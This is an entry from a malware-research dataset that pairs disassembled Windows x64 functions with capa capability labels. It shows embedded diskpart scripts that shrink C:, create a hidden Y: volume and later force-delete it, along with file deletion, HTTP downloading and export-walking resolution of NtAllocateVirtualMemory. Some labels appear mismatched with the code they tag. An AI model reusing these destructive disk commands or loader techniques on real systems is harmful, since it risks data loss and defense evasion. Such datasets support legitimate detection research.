joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400534b0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140071030]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x15
lea rdx, str.Y:CertEnrollCtrl.exe
lea rcx, [rsp + 0x20]
call fcn.140002680
nop
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
lea rdx, str.Arquivo_deletado.
je 0x14005351c
lea rdx, str.Falha_ao_deletar_o_arquivo.
call fcn.1400024b0
lea rdx, [0x1400068c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140053572
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005356d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005356d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059fe4
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140059f80
add rsp, 0x58
ret
Function at 0x140053590
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0xd0
mov rax, qword [0x140071030]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rdx, [0x14006479c]
lea rcx, str.diskpart
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
jne 0x1400535ea
lea rdx, str.Erro_ao_executar_o_comando_diskpart.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400024b0
lea rdx, [0x1400068c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
lea r8d, [rax + 0x73]
lea rdx, str.list_volume_nselect_volume_c_nshrink_desired100_ncreate_partition_primary_nformat_fsfat32_quick_nassign_letterY_nexit_n
lea rcx, [rsp + 0x20]
call fcn.140002680
nop
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
mov r9, rbx
mov r8, qword [rsp + 0x30]
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov r8, rbx
mov edx, 0x80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140053689
nop dword [rax]
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400024b0
mov r8, rbx
mov edx, 0x80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140053660
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x1400536d3
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400536ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400536ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059fe4
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140059f80
add rsp, 0xd0
pop rbx
ret
Function at 0x1400536f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0xd0
mov rax, qword [0x140071030]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rdx, [0x14006479c]
lea rcx, str.diskpart
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
jne 0x14005374a
lea rdx, str.Erro_ao_executar_o_comando_diskpart.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400024b0
lea rdx, [0x1400068c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
lea r8d, [rax + 0x6d]
lea rdx, str.select_volume_Y_nremove_letterY_ndelete_partition_override_nselect_disk_0_nselect_volume_c_nextend_size100_nexit_n
lea rcx, [rsp + 0x20]
call fcn.140002680
nop
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
mov r9, rbx
mov r8, qword [rsp + 0x30]
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov r8, rbx
mov edx, 0x80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400537e9
nop dword [rax]
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400024b0
mov r8, rbx
mov edx, 0x80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400537c0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140053833
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005382e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005382e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059fe4
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140059f80
add rsp, 0xd0
pop rbx
ret
Function at 0x140056e40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x140056fd3
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x140056fd3
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x140056ed9
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140056ff7
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x140056eef
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x140056eef
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140056f02
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x140056f4d
mov r9d, eax
cmp eax, 0x800
jae 0x140056f1c
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x140056f4d
cmp eax, 0x10000
jae 0x140056f36
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x140056f4d
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x140056fd3
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x140056f71
cmp r10d, 3
jae 0x140056f7d
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x140056fae
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x140056f90
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x140056e8e
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x140056fe2
Function at 0x1400599a8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140059a2c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14005db10]
cmp byte [rcx + rax], 0
je 0x140059a2c
dec r8
sub rdx, 1
jne 0x140059a12
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14005adb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005ae02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005ae02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005ae02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005ae02
cmp dword [rcx + 0x84], 0xe
jbe 0x14005ae02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14005ae04
xor al, al
add rsp, 0x28
ret
Function at 0x140003be0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
lea r14, str.NtAllocateVirtualMemory
xor r8d, r8d
test rcx, rcx
jne 0x140003c0e
xor eax, eax
jmp 0x140003cca
mov qword [rsp + 8], r8
mov qword [rsp + 0x10], r8
movsxd rax, dword [rcx + 0x3c]
mov r11d, dword [rax + rcx + 0x88]
add r11, rdi
mov esi, dword [r11 + 0x1c]
add rsi, rdi
mov ebx, dword [r11 + 0x20]
add rbx, rdi
mov qword [rsp + 8], rbx
mov r10d, dword [r11 + 0x24]
add r10, rdi
mov qword [rsp + 0x10], r10
test r14d, 0xffff0000
jne 0x140003c59
movzx eax, r14w
sub eax, dword [r11 + 0x10]
jmp 0x140003cb1
mov r11d, dword [r11 + 0x18]
mov dword [rsp], r11d
mov eax, r11d
dec r11d
mov dword [rsp], r11d
test eax, eax
je 0x140003cbd
mov eax, dword [rbx]
add rax, rdi
mov r9, r14
sub r9, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140003c93
inc rax
test ecx, ecx
jne 0x140003c80
test edx, edx
jne 0x140003c9d
movzx eax, word [r10]
jmp 0x140003cb1
add rbx, 4
mov qword [rsp + 8], rbx
add r10, 2
mov qword [rsp + 0x10], r10
jmp 0x140003c61
mov r8d, dword [rsi + rax*4]
add r8, rdi
mov qword [rsp + 0x18], r8
jmp 0x140003cc7
mov rax, r8
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140004400
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x470
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov rbx, rdx
mov rbp, rcx
mov qword [rsp + 0x38], rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 1]
lea rcx, str.HTTP
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
jne 0x1400044be
lea rdx, str.InternetOpen_failed.
lea rcx, [0x1400758f0]
call fcn.140008710
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140008390
movzx edx, al
mov rcx, rbx
call fcn.140009450
mov rcx, rbx
call fcn.1400092f0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
xor r8d, r8d
lea rdx, [0x140064c78]
mov rcx, rbp
call fcn.140008cd0
jmp 0x140004634
cmp qword [rbx + 0x18], 0xf
jbe 0x1400044c8
mov rbx, qword [rbx]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
jne 0x140004537
lea rdx, str.InternetOpenUrlA_failed.
lea rcx, [0x1400758f0]
call fcn.140008710
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140008390
movzx edx, al
mov rcx, rbx
call fcn.140009450
mov rcx, rbx
call fcn.1400092f0
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140004498
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rbx, r12
mov qword [rsp + 0x50], rbx
mov esi, 0xf
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x40], bl
lea r9, [rsp + 0x38]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004610
nop word [rax + rax]
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x140004610
mov edi, eax
mov rax, rsi
sub rax, rbx
cmp rdi, rax
ja 0x1400045ca
lea rax, [rbx + rdi]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rsi, 0xf
cmova rax, qword [rsp + 0x40]
add rbx, rax
mov r8d, edi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140050520
mov byte [rbx + rdi], 0
jmp 0x1400045e4
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140008b40
lea r9, [rsp + 0x38]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140004610
mov rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x140004580
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x10], xmm1
mov rax, rbp
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140022080
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140005540
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140005562
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400055dc
mov rdi, r14
mov rcx, rbx
call fcn.140007e10
test rax, rax
jle 0x1400055b4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140050520
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400055cc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400055d4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140005576
sub r14, rdi
jmp 0x1400056bf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400055f3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400055f5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005627
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140050520
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400056bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140005662
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000569d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140037258
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400056bc
cmp rbp, rax
ja 0x140005670
test rbp, rbp
je 0x1400056bc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140037258
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x14001af00
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x14001b0a4
cmp r9, 4
jb 0x14001af4a
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x14001af30
xor r11d, r11d
test r9, r9
je 0x14001b0a4
cmp r9, 8
jb 0x14001b07d
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14001af7c
cmp rdx, r8
jae 0x14001b07d
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x14001af91
cmp rdx, r10
jae 0x14001b07d
mov qword [rsp + 0x10], rbx
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x14001b037
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rdx, r10
lea rax, [r8 + 0x10]
sub rdx, r8
mov rbx, rcx
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x14001afd0
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x14001b06f
mov rdx, r9
and rdx, 0xfffffffffffffff8
mov rbx, r10
lea rax, [r11 + r8]
sub rbx, r8
mov rdi, rcx
sub rdi, r8
nop
movq xmm1, qword [rax + rbx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r11, rdx
jb 0x14001b050
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x14001b0a4
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
nop word [rax + rax]
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x14001b090
add rsp, 8
ret
Function at 0x140022e68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140022eb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140022eb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140022eb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140022eb2
cmp dword [rcx + 0x84], 0xe
jbe 0x140022eb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140022eb4
xor al, al
add rsp, 0x28
ret

Function at 0x14003ad68
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003ab64

Function at 0x14003f38c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003f3a2
mov al, 1
jmp 0x14003f402
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003f3b3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003f400
mov ecx, dword [rcx + 0x18]
nop
call fcn.140047698
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003f400
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003f400
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003f400
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003f402
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14004344c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14004ffe0
sub rsp, rax
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14003f26c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14004349b
mov rax, rbp
jmp 0x1400435a3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x761e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140044398
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x761e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14004359f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14004359f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140044398
test rax, rax
js 0x14004359f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14004359f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140043591
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140043591
cmp byte [rcx], 0xd
jne 0x140043577
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140043586
cmp byte [rcx + 1], 0xa
jne 0x140043586
inc rcx
jmp 0x140043586
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x71620]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140043559
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400435a3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140022080
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140043738
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400761e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14004378f
cmp word [rdx], r13w
jne 0x14004378f
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140043794
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400438b9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400438da
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400437cd
mov rdx, r9
mov word [rbx], cx
jmp 0x1400437f4
cmp r9, r8
jae 0x140043804
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400437ae
jmp 0x1400438b9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400438ae
cmp dword [rsp + 0x80], esi
je 0x1400438ae
lea r8, [0x1400761e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140043886
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140043856
mov word [rbx], r13w
jmp 0x1400438b6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140043863
mov rax, qword [r8 + rbp*8]
